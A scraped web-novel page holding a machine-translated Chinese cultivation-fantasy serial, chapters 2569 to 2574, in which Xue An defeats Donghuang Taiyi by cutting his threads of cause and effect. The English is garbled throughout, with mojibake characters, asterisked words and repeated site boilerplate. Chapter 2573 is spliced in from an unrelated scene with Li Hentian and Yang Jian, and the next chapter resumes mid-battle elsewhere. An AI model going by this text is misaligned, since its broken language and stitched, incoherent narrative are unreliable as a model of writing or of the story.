    As he said, Donghuangtai took a few palms one after another.


    Boom boom boom!


    After a few loud noises, the ring has completely collapsed and turned into rubble.


    But before the Eastern Emperor took a breath, Xue An''s figure swayed to his feet again in the smoke and dust.


    At this moment, Xue An no longer has the graceful demeanor of the turbid world-good son before, and deep cuts have been made on his face by the gravel and rubble, and the clothes on his body have also become tattered, and the momentum can be described as wilting to the extreme. .


    But even so, it didn''t stop Xue An from shaking his hands and swinging a sword.


    This sword is stronger than before, at least able to penetrate the barriers and come to the front of Donghuang Taiyi, and the clothes on his body are undulating.


    But that''s it.


    Xue An''s all-out sword just blew up a breeze, and it didn''t make Donghuang Taiyi suffer any harm.


    But somehow, Donghuang Taiyi felt a panic in his heart for no reason.


    Especially when he saw Xue An, who was standing swayingly, seemingly likely to fall at any time, his anxiety reached its extreme.


    Donghuang Taiyi didn''t know what Xue An had to rely on.


    Does he really think he can kill himself with this sword intent?


    If not, what is he insisting on?


    This kind of doubt was mixed with a trace of fear, which made Donghuang Taiyi completely mad.


    "Ah, ah, Xue An, you forced me!"


    Following the roar, Donghuang Taiyi''s figure suddenly appeared in front of Xue An, and then he raised his hand with a palm.


    If this palm was shot, Xue An would be seriously injured if he didn''t die.


    But to the East Emperor Taiyi''s surprise, Xue An not only didn''t dodge, but took a sudden step forward, bullied himself to the front of East Emperor Taiyi, and then raised his hand and stabbed out with a sword.


    This sword seems to be much stronger, at least the sword wind it brought up cut off a few hairs of the Eastern Emperor Taiyi.


    Donghuang Taiyi was going crazy, he didn''t know why this happened.


    Obviously he has the absolute upper hand, but in front of this guy, he is restrained everywhere.


    Therefore, the Eastern Emperor Tai Yi was cruel, and did not pay attention to the sword that stabbed him at all, but turned his palm into a fist and smashed it down fiercely.


    Click!


    The bones in Xue An''s body burst every inch, and then he was blown out like a broken pocket.


    Donghuang Taiyi''s complexion became extremely gloomy and terrifying, and the hand that shot Xue An trembled.


    To be honest, he really didn''t want to take Xue An''s life with his own hands.


    That''s why he set up the situation again and again, trying to make Xue An self-destruct or die under someone else''s hand.


    Even if he did it himself, he tried to hurt people with the palm of the wind as much as possible, just not wanting to get the blood of Xue An.


    There is no other reason. UU reading really killed Xue An''s cause and effect is too big, not to mention him, even his back-end boss dare not take it at will.


    But the matter is now, he can only take action to end it all himself.


    Hope that the secret has been completely chaotic and will cover up everything that has happened.


    Dong Huang Taiyi flashed this thought silently in her heart, and then turned around to leave.


    But just as he turned around, a cold sword intent burst to his back, making him tremble all over, and then subconsciously sideways, he avoided the sword.


    Then he saw an incredible scene.


    Seeing Xue An, who had just been smashed into bones and meridians with his own fist, and should be completely useless, was actually slowly getting up at this moment.


    The sword that stabbed him just now was stabbed by Xue An in this state.


    "This... how is this possible?" Donghuang Taiyi couldn''t believe his eyes.


    With his full punch, even the saint in his heyday would have to die obediently.


    What''s more, Xue An was already seriously injured.


    Suddenly!


    As if thinking of something, he hissed in exclamation: "Causality, you sacrificed cause and effect?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2569 Sacrifice), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2570： Heavens infinite road

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Xue An did not speak.


    In fact, it is impossible for him to say anything at this moment, because the punch just shattered not only his bones and meridians, but also all the organs on his body.


    It stands to reason that Xue An in this state is already dead and can no longer die.


    But he just stood up again.


    All because he paid a huge price and sacrificed all the causes and effects that were destroyed, so what is left is the hope of life.


    The so-called road to heaven and man, no matter how unsolvable the dead end, there will always be a trace of life hidden in it.


    And Xue An was through this rule, abruptly and found the trace of life in a situation that should have been ten dead and no life.


    Seeing Xue An, whose whole body was rotten, the broken bones rubbing against each other, making sour noises, Dong Huang Taiyi''s heart couldn''t help but feel cold.


    As a top evil creature, he has hidden in this outer sky for thousands of years, and there are countless people who have seen him.


    Among them, there are too many amazing talents, but none of them are as ruthless as Xue An.


    This cruelty is not only about treating the enemy, but also about yourself.


    How can anyone still struggle with such an unsolvable death and refuse to give up?


    Who can still use the sword to force him under such a serious injury?


    But this panic was only a flash, followed by anger enough to burn the sky.


    Donghuang Taiyi knew very well that if Xue An''s threat could not be completely wiped out this time, then waiting for his fate would be extremely miserable.


    So he didn''t dare to have the slightest contempt, he snorted, and directly agitated his whole body, trying to completely crush Xue An into powder.


    But at this moment, Xue An raised his blood-red eyes, and once again stabbed with his sword.


    At the time of the first sword, the sword intent was so weak that it could only raise a breeze.


    The second sword is slightly better, but also weaker.


    By the time of the third sword, he barely looked a little bit.


    And now it was Xue An''s sixth sword stabbed. As soon as this sword came out, it instantly smashed the monstrous power that Donghuang Taiyi had attacked, and, with its peerless elegance, stab at Donghuang Taiyi''s face.


    Donghuang Tai was not good at heart, so she dodged her body and stayed away.


    Because he has never seen such a strange sword intent.


    It seems to be all-encompassing, but it seems to be empty.


    The key is that from the beginning of the sword to the present, the power has shown exponential growth.


    At this point, Donghuang Taiyi finally understood that what Xue An was displaying now was the real sword intent that could destroy everything.


    This is the same as the method he is currently displaying, sacrificing everything possible, just to kill himself.


    Full of extreme madness.


    Suddenly!


    Donghuang Taiyi finally understood why Xue An had to say the beginning.


    This seemingly weak, even delicate young boy, in fact, has a chilling madness.


    In a daze, Eastern Emperor Taiyi even felt sympathy for the enemy in Xue An''s mouth.


    He faced the same scene back then!


    A madman through and through, an endless hunt?


    Unknowingly, even Donghuang Taiyi didn''t even notice, just under these few tricks, the situation on the battlefield has actually undergone a huge change.


    Donghuang Taiyi, who had always had the absolute upper hand, felt weak at the moment although he still had the advantage.


    On the contrary, Xue An broke out in a desperate situation, causing Donghuang Tai to retreat steadily.


    At this moment, the seventh sword finally penetrated the space and pierced the East Emperor Taiyi.


    Donghuang Tai snorted angrily, "Enough, even if I really bear the cause and effect after going out, I will kill you first today!"


    Having said that, Dong Huangtai had no reservations anymore, using all her strength to shatter this sword intent, and then rushed towards Xue An.


    Unexpectedly, his mortal blow was emptied.


    Because at this moment, Xue An, who was standing there staggeringly, suddenly disappeared.


    This time there was no sign of disappearance, making the Donghuang Taiyi who was caught off guard rushed to the air.


    Before he could react, an imperceptible sword intent suddenly passed over his back, bringing out a **** flower.


    But the wound was extremely shallow, so shallow that the wound had healed as soon as blood blossoms appeared.


    But this is enough for Xue An.


    Just when Donghuangtai turned around to look at Xue An, but saw that he had already retreated far away, then slowly raised the rib sword in his hand, and slowly passed his fingers across it.


    There was still a drop of Donghuang Taiyi''s blood remaining on the edge of the rib sword. After Xue An''s fingers passed by, he took it to the tip of his fingertips.


    Donghuang Taiyi didn''t understand, so she asked with a cold voice, "Xue An, what do you want to do?"


    Of course Xue An couldn''t speak, he just raised his hand and spotted the drop of Donghuang Taiyi''s blood from his fingertips on his eyebrows.


    In an instant, this drop of blood was like a drop of water in the desert, directly infiltrating the center of the eyebrows and disappearing.


    Donghuang Taiyi''s alarm bell sounded in his heart, "What on earth do you want to do?"


    The only answer to him was Xue An''s icy smile from the corner of his mouth.


    Then he heard a playful voice ringing in Donghuang Taiyi''s ears.


    "You are dead! I said this time, and no one can save you."


    And that is, at the same moment outside of the Shen family''s star field, a person was saying something similar.


    I saw Fen Hong commanding the newly hatched evil creatures with a frenzied face to launch wave after wave of attacks towards the Shen Family Star Territory.


    "The master who used the sword before has obviously fallen, and now the Shen family is in your pocket. It won''t work for anyone!"


    Sure enough.


    With targeted optimization, these newly hatched evil creatures have formed a strong restraint on all sword repairs in the Shen family. UU reading


    Although the great treasurer, that is, the sword ancestor long sword, is still there, the sword can''t hold itself, and Shen Muyu is the new Patriarch who has just acquired the inheritance, and it is completely impossible to form a fighting force.


    So when Fen Hong and Diablo tried their best to subvert the Shen family, everyone in the Shen family was under tremendous pressure.


    "Patriarch, you take the big shopkeeper and leave first, let us stick to it here!"


    "Yes, as long as the long sword left by you and Jianzu is still there, then the Shen family is not considered dead, so you should not stay here and make senseless sacrifices!"


    Some people began to persuade Shen Muyu to leave.


    But at this moment, Shen Muyu had already got red eyes, how could he abandon everyone and leave alone?


    "Don''t tell me, it''s impossible for me to leave. Even if I die, I have to wipe out all the dog offal!" Shen Muyu roared murderously.


    But the battle situation was not shifted by his personal will. With the consumption of everyone''s strength, the battle situation was still leaning towards Fen Hong and other evil things a little bit.


    But at this moment, in the distant void, a large army was marching in mighty.


    What Bing Feng pointed out was the direction of evil things.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2570 The Road to Heaven), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2571： Fierce battle in the quagmire

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    A big beetle was erected in the army, with a big soldier written on it.


    There are many smaller flags in the back, and the first one is the Chinese character Yue, followed by Gu, Long, Sima and other surnames.


    It is the army of strategists who have travelled a long distance, not far away, hundreds of millions of miles.


    now.


    The Shen Family Star Territory was already in sight, listening to the faint cry of killing, the expressions of the ancestors of these soldiers became extremely serious.


    That''s right, it is the ancestors of the military strategists in the Pantheon who led the army this time.


    Before the military strategist was attacked by evil things led by Diablo, it was fortunate to get Shen Muyu''s help to turn the crisis into peace.


    After the remaining evil objects were cleaned up and the battlefield was cleaned up, the news that the Shen family was besieged by an army of evil objects also came.


    After hearing this news, the ancestors of the soldiers made a decision immediately.


    That is to take the initiative and go to the Shen family to help out.


    As the ancestors of these military strategists who have experienced countless ups and downs, they know very well how critical the situation is today.


    This Hundred Families Conference is obviously a trap, in order to pull out all the elites in the Hundred Families, so that evil things can enter.


    Therefore, at this critical moment, the Shen family, as the leader of sword repair, seems very important.


    If they were to fall in this way, the impact on the entire universe would be self-evident.


    What''s more, these ancestors almost all experienced the great upheaval ten thousand years ago. Although the Shen family''s actions at that time attracted a lot of criticism, how could these people be confused by the appearance of the illusion.


    Therefore, they all knew what happened that year, and they couldn''t help but feel a little worried.


    Since these evil creatures dared to find the Shen family directly, it obviously shows that they have made special optimizations to the Shen family.


    In this case, the situation of the Shen family can be described as extremely dangerous.


    They are all leaders. After understanding the current situation, there is no need to say more. These military ancestors simply abandoned the Pantheon, risked great danger, and led the army to the outside of the Shen Family Star Territory.


    Many people couldn''t help but breathe a sigh of relief when those tragic shouts of killing came into their ears.


    one way or another!


    As long as there is a shout to kill, it proves that it is not too late.


    Everyone speeded up their pace and rushed towards the battlefield while communicating with each other.


    Zhong Lishan chuckled and said: "Fortunately, we can see the opportunity quickly, and the starry night will come here, if it is later, things will be really troublesome, you say it is not Xianyi!"


    Yue Huazang, Long Tianzong and others secretly laughed.


    Naturally, they could hear that Zhong Lishan was obviously looking for words without words.


    In fact, this is not the first time. Zhong Lishan racked his brains to find a way to chat with Gu Xianyi along the way.


    I don''t know why, after the military crisis was solved, Gu Xianyi''s attitude towards Zhong Lishan suddenly became much colder.


    No matter how close Zhong Lishan is, she always behaves indifferently.


    For example, now, after hearing Zhong Lishan''s lack of words for words, Gu Xianyi only gave a faint utterance, and then he was speechless.


    Zhong Lishan wanted to say something but stopped, just at this moment, they came to the battlefield outside the Shen family''s star field.


    As they had speculated, the Shen family''s situation was extremely difficult under the attack of the specially optimized evil.


    Although Shen Muyu''s cultivation base has made great progress, and several shots have repelled several attacks from evil things.


    But this is not a long-term solution, because this time Fen Hong made a comeback, obviously with a mentality of killing.


    For example, the evil things that are currently on the scene are the result of his hard work. Not only have they been specially optimized, but they can also continue to evolve according to the situation on the scene during the battle.


    Under the circumstances, the Shen family was trapped in the quagmire of fierce fighting, unable to extricate itself.


    Seeing this scene, Fen Hong was in a great mood.


    The sword just cut off his body, if it weren''t for the protection of the Great Eastern Emperor, he would now have no bones left.


    Even if he succeeded in resurrection, his cultivation was inevitably lost a lot.


    This made him hate the Shen family very much.


    Seeing that the progress on the battlefield is going well now, he is even ready for a full harvest.


    But at this moment, the appearance of the army of soldiers shattered his beautiful illusions.


    As soon as these soldiers appeared on the battlefield, they went into the battle without hesitation.


    With the addition of this new force, the pressure on the Shen family''s side was drastically reduced.


    This is not to say that the strength of the strategist''s army depends on the strength. Even the evil things that the Shen family can''t deal with can be easily handled.


    In fact, this is all because of these evil things themselves.


    Because these evil things were originally born to destroy the Shen family, every organ in the whole body has been specially optimized for the characteristics of sword repair.


    This gave them extremely strong survivability in the face of Jian Xiu.


    It can also lead to their weakness in other areas.


    Therefore, as soon as the army of military strategists appeared, these evil things suffered a devastating blow.


    Under completely different attack methods, these evil creatures began to retreat steadily.


    After seeing this scene, Fen Hong couldn''t help but yelled angrily.


    "Diablo, what the **** is going on? How could soldiers from the military family suddenly appear here? Didn''t you deal with them specially before?"


    Diablo was also a little dumbfounded, but listening to what Fen Hong meant was actually pushing the blame on him, and he couldn''t help but yell.


    "Can you blame me then? Everything is going well, and the military galaxy is about to be flattened. Who would have imagined that the second son of the Shen family suddenly shot and wiped out most of my subordinates, resulting in defeat. I have to blame you. !"


    At this critical moment, the two evil creatures did not forget to shake the pot with each other. UU reading can also see how disunity these evil creatures are.


    And that was when the two of them were throwing the pot at each other and retreating together with the evil creatures that were retreating.


    Among those hundreds of battlefields, the Eastern Emperor Taiyi, who was their master, felt a chill in his heart.


    The chill came from the lungs and penetrated the bone marrow.


    Of course, all this is not because of the words that just rang in my ears, at least not completely.


    What really shocked him, and even horrified, was the aura that was growing up in Xue An''s body.


    Originally, Xue An had been seriously injured and dying from his beating, so he sacrificed the cause and effect to hang his last breath.


    But now, Xue An''s injuries are constantly being repaired, and even a humming sound is coming from his body.


    That is the sound of broken bones being renewed to bridge the growth.


    No matter what exists, you will feel angry under the unknown fear.


    Donghuang Taiyi is naturally no exception, especially he was deeply jealous of Xue An, so when he saw the earth-shattering changes happening to Xue An now, he couldn''t help being raged, and he didn''t care about cause and effect, so he raised his hand. It was another fatal blow.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2571 Fierce Fighting Mire), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2572： The mystery is revealed.

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    At his level, all the moves are not important, everything is reduced to simplicity, and anything he wants to destroy can be destroyed with a gesture.


    But this time, his full blow was miscalculated.


    When the blow just rushed forward, Xue An''s whole person was like a dead leaf in the wind, going with the wind.


    No matter how violent the might, it could not contaminate him, but instead made his eyes brighter.


    Bright to the point of appalling.


    At the same time, a heart-pounding aura began to brew in his eyebrows.


    Although it is just a bud, it still makes the space tremble.


    The moment Donghuang Taiyi felt this breath, he understood everything in an instant as if he was struck by lightning.


    From the very beginning, Xue An used the string of cause and effect to rescue everyone, and then faced himself alone, not hesitating to be seriously injured, and even sacrificed the cause and effect to fight against himself, and finally got a drop of blood and smeared it on the eyebrow.


    All these things, like a slideshow, flashed across Donghuang Taiyi''s mind in an instant and made him understand.


    I saw his face turned pale as snow in an instant, and then tremblingly said: "You are awakening him!"


    "Yes! I am really waking him up!" Xue An''s voice was without sorrow or joy, no waves, "and it has been successful!"


    Donghuang Taiyi didn''t hesitate, turned around and wanted to escape from here.


    That''s right!


    As the East Emperor of Yin Yang Family, it can even be said that he is the ultimate BOSS of the entire Tian Wai Tian. After hearing Xue An''s words, he didn''t hesitate to escape.


    If anyone else knows, it will be shocked and inexplicable.


    Only Donghuang Taiyi knew.


    This is his last chance. If he doesn''t leave at this time, he can''t leave again.


    Not surprisingly, when he wanted to turn around and escape, the space had already turned into a rock, making him unable to move at all.


    At the same time, Xue An''s sneer full of sarcasm came from behind him.


    "Emperor Taiyi, do you think I had to work hard and even paid a huge price to finally set up this anti-killing game. Can you leave it easily?"


    Donghuang Taiyi slowly turned around, filled with infinite regret.


    Because he never expected that this killing game he thought he could do would eventually make a wedding dress for others.


    In particular, he regretted that he knew about it from the beginning, but he ignored it.


    Therefore, he gritted his teeth and looked at Xue An with anger and regret.


    "So you were prepared to use him against me from the very beginning? Those were just blindfolds that confuse me?"


    Xue An nodded, "Yes, otherwise, do you think I would let Yan''er follow me to such a dangerous place?"


    When he said this, Xue An''s brows were full of glory, and then a huge beam of light was projected.


    Among the beams of light is An Yan who has been hiding in the sea of ??Xue An''s eyebrows.


    It''s just that An Yan at this moment has completely changed its appearance.


    I saw that her whole body was surrounded by extremely violent aura, especially in those eyes, there seemed to be some kind of unknowable existence awakening.


    This momentum made Dong Huang Taiyi tremble all over, as if the nightmare of that day had reappeared in front of him.


    At this point, the mystery was finally revealed.


    It turned out that before the start of the war, Xue An carefully calculated the strength gap between himself and the Eastern Emperor Taiyi, and understood that it was impossible to defeat this ultimate BOSS by himself.


    Although he is not afraid of death, he does not want to make senseless sacrifices, especially at the moment when he bears the honor and disgrace of the entire Chinese nation on his shoulders, even more so.


    But Donghuang Taiyi, the BOSS, must never let go, because he must have all the secrets about the Chinese.


    When Xue An was at a loss, An Yan, who lived in Xue An��s eyebrows, spoke.


    She made a suggestion, the content is very simple.


    That is when facing the finger that appeared in the heavens through the barriers, some unknowable power exploded.


    The appearance of this power directly frightened the evil creature at the time, showing that the other party was very afraid of this power.


    And now facing the upcoming ultimate battle, An Yan felt it was time to use this force again.


    After listening to this suggestion at that time, Xue An directly refused.


    Because he was not sure where the power of An Yan came from, whether it was beneficial or harmful to An Yan.


    Especially last time An Yan was in a coma for several days after she burst out of this power. This made his beloved wife like her life. Xue An, who usually feels distressed by the loss of a hair in An Yan, was completely unacceptable.


    But An Yan was also extremely stubborn this time, no matter how Xue An refused to give up his ideas.


    In the end, An Yanyi said that you are Chinese, am I not? End this controversy.


    Xue An finally agreed to this idea, and then had a detailed discussion with An Yan to consider the details of the entire plan.


    That''s why An Yan has been hiding in Xue An''s sea of ??eyebrows and minds, and was seen through by Donghuang Taiyi at the beginning.


    At that time, whether it was Xue An or An Yan, they were actually very nervous, because they didn''t know if the Eastern Emperor Taiyi would notice the abnormality.


    But they underestimated Donghuang Taiyi''s arrogance and arrogance.


    For him at that time, the whole Tianwaitian didn''t have an enemy of his own, so how could he look at Xue An.


    Although An Yan''s initial burst of power did shock the Eastern Emperor Taiyi, but after a long time, Eastern Emperor Taiyi didn''t think that she could still explode that power.


    After all, if she could really control it as she pleases, how good would she be to appear and kill herself directly, why would she hide in Xue An''s sea of ??eyebrows and minds.


    Unexpectedly, it was this careless thought that caused Eastern Emperor Taiyi to pay a heavy price This is also the reason for the remorse of Eastern Emperor Taiyi just now.


    Because he really underestimated the friendship between Xue An and An Yan, as well as Xue An''s tolerance and control over details.


    Xue An also understands that the power hidden in An Yan can never be summoned simply.


    Unless there is another major crisis of life and death, the safest way is to obtain the blood of the Eastern Emperor Taiyi, and disguise it as a crisis through the shocking evil spirit on his body, so as to stimulate An Yan''s strength.


    After finalizing the plan, every step Xue An took afterwards was actually setting up a situation, paralyzing the mind of Donghuang Taiyi.


    It was with this step by step that Xue An finally succeeded in getting a drop of blood from Donghuang Taiyi.


    After applying it to the center of the eyebrows, it was immediately absorbed by An Yan hiding in the sea of ??consciousness.


    Sure enough.


    When threatened by the evil spirits, An Yan''s body of violent violence finally regained consciousness.


    This is how the whole plan went.


    At this moment, facing the pale-faced Eastern Emperor Taiyi, Xue An took a deep breath, and then slowly said.


    "Yan''er, give me your body!"


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2572 Mystery Uncovering the Ultimate Reversal), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2573： Treat death as home?

    Genius remembers this site address in one second: [] The fastest update! No ads! "In order to imprison the **** of Erlang, you really have lost your blood!" Xue Anman said with a murderous intent.


    Li Hentian smiled and waved, "Stop!"


    With an order, these chains stopped pulling, but at this time, the masculine, bloody, tied in the air with his head down, seemed to have lost consciousness.


    Then Li Heng Tianjun said proudly: "No way, who made you Chinese people''s potential so amazing!"


    With that said, Li Hentian Jun raised his head triumphantly and said to Xue An.


    "The surname Xue, let me ask you again, do you want this Gukou Jiro to live or die? Oh, right! By the way, I will not only control these chains of cause and effect, but also mine. The gods and souls are firmly bound to these chains, so if there is any accident to me, your Erlang **** will bang and explode to pieces, and then the gods and souls will be destroyed!"


    Hearing these words, Xue An hadn''t spoken yet, and was wandering beyond the chains of cause and effect in a hurry, trying to rush over to take a look at his master''s situation, but Huang Tian, ??who couldn''t cross it, was completely angry.


    "Old thief Lihen, you %��%#, I want to peel off all your skin!" The weather was trembling all over, and he rushed desperately to fight Lihentianjun.


    Li Hentian Jun didn''t look at him directly, but looked at Xue An coldly, "Xue An, I will give you three breathing times now, make your choice!"


    "One!"


    Xue An silently looked at Li Hentian Monarch and the happy Ziwei Star Lord, the brilliance in his eyes flickered, but there was no more movement.


    "Two!" A panic flashed deep in Li Hentian''s eyes.


    Because Xue An still didn''t move at this time, but raised his hand to stop the roaring sky who wanted to rush past.


    Li Hentian Jun''s heart slammed, and he opened his mouth and shouted: "Three...!"


    Before these three characters were completely spoken, Xue An waved casually.


    The red lotus karma that had originally surrounded Lihentianjun and Ziweixing retreated.


    At this moment, Li Hentian Jun couldn''t help but let out a sigh of relief, and then laughed triumphantly.


    "Very good! Xue An, it seems that you are a sensible person!"


    As for Star Lord Ziwei, he even smiled and complimented: "My Lord Tianjun is really a good plan! I just thought we were going to lose this time!"


    Even Ye Liuyan, who fled to the distance, flew back at this time, and he shook hands at the two of them with joy, "Father is really good!"


    The three of them were happy.


    Xue An''s momentum is low here.


    The snarling eyes were splitting, if it weren''t for Xue An''s momentum, he really wanted to rush over and fight with these guys now.


    Even Zuimeng and Yu Ren both looked sad at this moment.


    Because this Jedi comeback of Li Hentian Jun is simply too vicious.


    It can be said that all of Xue An''s previous efforts have been put to waste.


    Because if he wanted to rescue Yang Jian, he couldn''t kill this Li Hen Tianjun.


    This feeling of seeing the enemy right in front of him, but unable to do anything, is simply too depressing.


    At this time, Li Hen Tianjun smiled at Xue An proudly, "Honglian Immortal, since you have made your choice, you can go now! Oh, by the way, don��t worry, when you leave, I won''t take this Guguchiro to anything, after all... he is my amulet now! Hahahahaha!"


    Li Hentian Jun laughed triumphantly again.


    Xue looked at him quietly, with brilliance floating in his eyes, and his mutilated body began to drip blood again.


    "My lord..." Drunk Meng whispered softly, tears shining in her eyes.


    But at this moment, I heard a light sigh.


    "Hidden!"


    Xue An was shocked and turned to look.


    Sure enough.


    Seeing that the yang Jian, who had been bowing his head and already extremely weak, was raising his head a little bit with great difficulty.


    At this moment, Li Hentian Jun''s laughter stopped abruptly.


    Everyone''s eyes converged on this Guanguchijiro.


    A cold smile appeared on Yang Jian''s pale paper face, and then he nodded at Xue An.


    "Lady, come here! I have a few words to tell you!"


    Xue An was startled slightly, then nodded, and stepped to him.


    The audience was silent.


    Yang Jian stared at Xue An quietly, and suddenly laughed, "It''s great!"


    As he said, there was a look of recollection in Yang Jian��s eyes, ��I was about the same age as you back then! What a wonderful time! I am full of spirits, with my friends by my side, carefree all day. Just thinking about how to enhance cultivation!"


    Xue An''s eyes changed slightly, and he was about to say something, Yang Jian waved his hand, motioned him not to speak, and then continued.


    "Unfortunately, the nature of this world is cruel. I think my Chinese have never done anything to hurt the world, but I ended up like this! I was imprisoned here for thousands of years, and at the very beginning, I was full of heart. The anger and unwillingness of the people think that the way of heaven is unfair, and that the human heart is dark, but slowly, I figured it out!"


    As he said, Yang Jian raised his eyes and looked at Xue An, "Later, do you know why my Chinese people suffered such disasters?"


    Xue An was silent for a moment, then shook his head, "I don''t know!"


    "Because those people are scared!"


    Xue An was shocked and whispered softly: "Afraid..."


    "Yes!" Speaking of this, Yang Jian looked down at Li Hentianjun and others in the distance, and smiled coldly, "Not only them, including the so-called big men behind them are also afraid! They are afraid. The potential of my Chinese, I am afraid of my Chinese being proud, afraid of...everything about us!"


    Speaking of this, Yang Jian''s eyes suddenly burst into bright brilliant light, "Later, do you understand what I said?"


    Xue An''s face was solemn, and he nodded solemnly, "Understood!"


    Yang Jian Yangtian laughed, "Okay! Very good! Hahahahaha! God of thief, you treat me well, and in your lifetime, you can actually let me see such amazing Chinese juniors, UU reading If I die, I have no regrets!"


    As soon as this remark came out, the audience was shocked.


    Because people have heard the death will that originated in Yang Jian''s words.


    Li Hentian Jun, who was originally full of ambition, was even more distracted, and he was about to rush forward with a roar.


    Xiaotian let out a mournful cry, "Master!" Then he rushed here madly.


    Xue An was the nearest, and his reaction was also very quick, only to see a flash of light in his eyes, he was about to step forward to stop it.


    But at this moment, Yang Jian raised his hand and inserted it into his chest with lightning speed, and then dug out his heart.


    With the blood dripping, his heart was still beating.


    The whole audience was quiet and terrible for a moment.


    Yang Jian''s face showed a rare color of relief, and then he said softly: "There is something that I have kept for a long time. I will give it to you now. If you have a chance, please transfer it to someone for me!"

 Chapter 2574： Cut the cause and decisiveness

    Before he could finish his words, Donghuang Taiyi was abruptly pinched by Xue An''s neck, and then lifted it from the ground.


    Xue An''s hands were so strong that he even pinched out the blue veins from Donghuang Taiyi''s neck.


    But Donghuang Taiyi didn''t even blink his eyelids, on the contrary, a thick joking color appeared on his face.


    "You are scared, afraid that what I said will become a fact, but now what else can you do besides incompetence and rage? Kill me, otherwise you won��t even be able to do this when this power goes away. Here it is!"


    Speaking of the last, Donghuang Taiyi was almost uttered in joy.


    His favorite is this feeling.


    Play with people''s hearts, manipulate happiness and anger.


    Even if he is at a disadvantage now, he can still put great pressure on Xue An.


    But at this moment, Xue An grinned, showing her neat teeth, and smiled sensibly.


    "I said at the very beginning that you have no future. Today''s battlefield is your burial ground!"


    Donghuang Taiyi sneered.


    He is ready to die.


    But as long as the self here dies, the clone backup buried by him in the distant deep air will immediately wake up.


    Although it is inevitable that you will suffer some losses, as long as you can get out of this world, everything is worth it.


    After I go out, I must do everything possible to get rid of this guy.


    The Eastern Emperor was secretly ruthless.


    But at this moment, I saw a red lotus appearing between An Yan''s eyebrows, and then countless strings of cause and effect were reflected.


    The biggest one naturally came from Donghuang Taiyi.


    Donghuang Taiyi shook all over, and then understood something, and screamed: "How is it possible that you are in control of this woman''s body, why can you still use your causal supernatural powers?"


    Xue An sneered coldly, "I said long ago that Yan''er and I are independent of each other. I can use her abilities, and naturally my abilities can be used by her!"


    Sacrifice such as 99bxwx.com sacrifice such as. Hearing these words, Donghuang Taiyi was completely cold, and no longer had the calmness before.


    At the same time, Xue An had already raised his hand and held the string of cause and effect extending from Donghuang Taiyi.


    "No existence can get rid of the shackles of cause and effect, unless...this existence has completely disappeared!"


    Following the voice, Xue An''s palm slammed hard.


    There was no sound, and the string of cause and effect that was thicker than the arm was broken.


    Then Donghuang Taiyi''s momentum fell extremely fast, and even his figure became much thinner.


    That was a sign that his connection with the world was rapidly waning.


    At this time, Donghuang Taiyi finally truly panicked.


    He is not afraid of death, or even the annihilation of his soul, because in so many years, he has already prepared countless clones, just to avoid the result of the destruction of the soul.


    But if the cause and effect between himself and the outside world are cut off one by one, then his previous efforts will be completely wasted.


    "No! Xue An, I can tell you something about the Chinese people back then!" Donghuang Taiyi shouted.


    But Xue An''s movements didn''t stop at the slightest, and he broke several strings of cause and effect in succession.


    Donghuang Taiyi felt that his connection with the world weakened again, and there were faint signs of collapse in his body.


    After all, after losing the **** of cause and effect, the various elements that make up the body will also be dispersed and vanished.


    This was an end that was countless times more miserable than the death of souls and souls.


    So he hurriedly yelled: "When I acted on the Chinese people back then, I was also ordered by my back-end boss. Don''t you want to know who he is?"


    This sentence really worked, and Xue An''s movement stopped, and then he looked at Donghuang Taiyi.


    Donghuang Taiyi only breathed a sigh of relief, "Give me some time first, and I will tell you who instigated me back then!"


    But as soon as his voice fell, Xue An''s palm slammed again.


    This time he directly broke at least a few of the strings of cause and effect, and the Eastern Emperor Taiyi let out a miserable howl, and then his body began to disintegrate.


    "Xue An, why are you doing this? Don''t you want to know who instigated me?"


    Xue An said calmly: "I wanted to know before, but now I don''t want to! Because what I have to do next is to uproot your evil clan, so no matter who he is, he will die without a place to bury him."


    Even though he was on the verge of collapse, Donghuang Taiyi was still stunned by Xue An''s "big talk".


    Uproot the evil clan?


    Does he really know what he is talking about?


    And at this moment, Xue An simply chopped off all the strings of cause and effect connected with Donghuang Taiyi.


    In an instant, all the connections between Donghuang Taiyi and this world were directly broken, and then his body, and even the various elements that constituted the soul, all escaped.


    "Ah ah ah Xue An, don''t think this is over, I will wait for you in front!"


    The voice disappeared, and Donghuang Taiyi completely disappeared.


    Then the battlefield at the foot began to tremble violently.


    This is because the cause of the Eastern Emperor Taiyi is lost, and this battlefield has no effect on its existence.


    An Yan stood where she was, her aura began to fall rapidly.


    The next second, An Yan''s body fell backwards, but before her body landed, Xue Anna''s body that had been hovering in the air rushed over, and then hugged An Yan.


